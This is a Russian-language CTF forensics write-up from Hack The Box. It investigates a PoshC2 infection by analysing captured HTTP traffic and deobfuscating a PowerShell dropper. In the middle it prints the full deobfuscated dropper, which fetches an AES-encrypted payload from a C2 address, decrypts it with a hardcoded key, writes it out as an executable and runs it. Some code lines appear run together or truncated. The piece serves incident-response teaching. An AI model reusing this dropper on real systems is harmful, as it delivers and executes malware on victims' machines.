InterstellarC2. Разбираем последствия заражения дроппером PoshC2

Содержание статьи

  • Ищем артефакты в сетевом трафике
  • Изучаем артефакты
  • Обвешиваемся бряками
  • Пишем декриптор
  • Выводы

Зак­репле­ние, пос­тэкс­плу­ата­ция и эксфиль­тра­ция — три неотъ­емле­мых эта­па каж­дой ата­ки. В этой статье мы про­ведем рас­сле­дова­ние инци­ден­та: поищем арте­фак­ты, сдам­пим сетевой тра­фик и деоб­фусци­руем най­ден­ный вре­донос­ный код. Таким обра­зом мы вос­ста­новим дей­ствия зло­умыш­ленни­ка и заод­но поз­накомим­ся с популяр­ными тех­никами, которые час­то при­меня­ются «в дикой сре­де».

Эта статья — рай­тап по одно­му из заданий по циф­ровой форен­зике с про­шед­шего в мар­те 2023 года CTF-сорев­нования на Hack The Box. Уро­вень — слож­ный.

На­ше задание зву­чит сле­дующим обра­зом:

То есть мы зна­ем, что сер­вер был ском­про­мети­рован, и у нас есть тра­фик. Нас про­сят про­ана­лизи­ровать дамп, про­вес­ти рас­сле­дова­ние инци­ден­та и уста­новить, как ата­кующие заг­ружали ути­литы на ском­про­мети­рован­ный сер­вер, какими спо­соба­ми зак­репля­лись и как про­изво­дили эксфиль­тра­цию дан­ных. В конеч­ном сче­те нам нуж­но будет най­ти флаг.

 

Ищем артефакты в сетевом трафике

Пер­вым делом заг­рузим дамп в Wireshark. Нес­ложно уста­новить, что IP ском­про­мети­рован­ного сер­вера при­ват­ный — 192.168.25.140, в то вре­мя как адрес C2-сер­вера ата­кующих пуб­личный — 64.226.84.200. Так­же вид­но, что со ском­про­мети­рован­ного хос­та про­исхо­дит обра­щение к сто­рон­нему ресур­су (C2-сер­веру) с GET-зап­росом по ссыл­ке, которая окан­чива­ется на vn84.ps1. В ответ сер­вер отда­ет сце­нарий на PowerShell.

GET-зап­рос со ском­про­мети­рован­ного хос­та для заг­рузки vn84.ps1

Тра­фик переда­ется по HTTP, то есть без шиф­рования. Это зна­чит, что мы можем экспор­тировать передан­ные объ­екты из дам­па и под­робно их изу­чить, что­бы вос­ста­новить ход ата­ки, а так­же опре­делить, какие методы и ути­литы исполь­зовали ата­кующие. Для это­го в меню выбира­ем «Файл → Экспор­тировать объ­екты → HTTP». Жмем «Сох­ранить все» и зада­ем конеч­ную дирек­торию.

Эк­спор­тирован­ные из дам­па тра­фика объ­екты 

Изучаем артефакты

В гла­за сра­зу бро­сает­ся экспор­тирован­ный сце­нарий PowerShell, одна­ко, что­бы получить пол­ную кар­тину, нуж­но опре­делить, с арте­фак­тами какого фор­мата нам пред­сто­ит работать. Поэто­му не будем бро­сать­ся изу­чать най­ден­ные скрип­ты, а пер­вым делом пос­мотрим, что за фор­мат у осталь­ных экспор­тирован­ных фай­лов. Для это­го вос­поль­зуем­ся ути­литой file и коман­дле­том Get-ChildItem. Обой­дем все фай­лы в цик­ле:

foreach ($file in (Get-ChildItem $_.Name))

Фор­мат экспор­тирован­ных фай­лов

За­пишем получен­ный мас­сив в перемен­ную $fileformat, а в новом цик­ле пере­име­нуем фай­лы с рас­ширени­ем PNG, что­бы пос­мотреть, что внут­ри.

foreach ($format in $fileformat) }

Ин­терес­ного в самих кар­тинках мало (это изоб­ражения собак в низ­ком раз­решении), одна­ко вни­мание прив­лека­ет файл %3fdVfhJmc2ciKvPOC(23).png, пос­коль­ку его раз­мер боль­ше дру­гих — 827 Кбайт. Похоже, помимо кар­тинки, в нем есть что‑то еще. Возь­мем этот факт на замет­ку и будем дви­гать­ся даль­ше. Пог­лядим, что в дру­гих фай­лах.

По­лучен­ные PNG

Фай­лы раз­мером око­ло 1 Кбайт — отве­ты сер­вера на зап­росы («200 OK» и дру­гие коды), и инте­реса такие дан­ные для нас не пред­став­ляют. Осталь­ные фай­лы име­ют малораз­личимое содер­жимое, их пока оста­вим, а вот экспор­тирован­ный сце­нарий PowerShell впол­не читабель­ный, хоть и нем­ного обфусци­рован. Поп­робу­ем разоб­рать­ся, что про­исхо­дит в коде.

Изу­чая vn84.ps1, мож­но уви­деть обфусци­рован­ные коман­дле­ты.

Об­фусци­рован­ное содер­жимое vn84.ps1

Здесь ата­кующие исполь­зуют обфуска­цию строк, под­робнее об этой и дру­гих тех­никах мож­но узнать из док­лада на Black Hat 2017 (PDF).

Для деоб­фуска­ции мож­но пой­ти нес­коль­кими путями: вос­поль­зовать­ся инс­тру­мен­том PSDecode, исполь­зовать жур­нал Windows при вклю­чен­ном ауди­те сце­нари­ев PowerShell, ну или поп­росить разоб­рать­ся ChatGPT, который тоже уме­ет деоб­фусци­ровать, хоть иног­да и меня­ет исходный код на свое усмотре­ние.

Я вос­поль­зуюсь PSDecode. Пос­ле деоб­фуска­ции получа­ем исходный сце­нарий (некото­рые стро­ки я под­пра­вил вруч­ную):

Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))Set-Variable -Name l60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider'))Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.CryptoStream'))$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'$PTF = "$env:temp94974f08-5853-41ab-938a-ae1bd86d8e51"Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $pathInvoke-WebRequest -Uri $Url -OutFile $PTF$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))$MS = New-Object -TypeName 'System.IO.MemoryStream'$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)$aes.Key = $KEY$aes.IV = $iv$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))$fs.CopyTo($cs)$decD = $MS.ToArray()$CS.Write($decD, 0, $decD.Length)$decD | Out-File -Path "$env:temptmp7102591.exe" -Encoding Byte
& "$env:temptmp7102591.exe"

Ста­новит­ся понят­нее. Если корот­ко: PowerShell здесь при помощи сис­темной служ­бы Windows BitsTransfer (T1197 по мат­рице ATT&CK) дан­ные с C2-сер­вера заг­ружа­ются на ском­про­мети­рован­ный хост, пос­ле чего заг­ружен­ные дан­ные рас­шифро­выва­ются по алго­рит­му AES-CBC-128. Для рас­шифров­ки AES c CBC-mode необ­ходимы ключ и век­тор ини­циали­зации, они как раз и ука­заны в сце­нарии.

Рас­шифро­ван­ные бай­ты записы­вают­ся в исполня­емый файл $env:temptmp7102591.exe, а затем этот файл запус­кает­ся. Наша пер­вооче­ред­ная цель — рас­шифро­вать дан­ные и записать их в исполня­емый файл для даль­нейше­го изу­чения. Это поможет узнать, что про­исхо­дило на эта­пе зак­репле­ния.

Для дешиф­ровки можем вос­поль­зовать­ся тем же сце­нари­ем или инс­тру­мен­том CyberChef (но это более тру­доем­кий спо­соб).

Из зна­чения перемен­ной $Url в сце­нарии сле­дует, что рас­шифро­вывать нуж­но поток бай­тов в дам­пе тра­фика с име­нем 94974f08-5853-41ab-938a-ae1bd86d8e51.

info

Что­бы убе­дить­ся, что работа ведет­ся с вер­ным пакетом, номер пакета мож­но сопос­тавить с номером экспор­тиру­емо­го объ­екта Wireshark.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *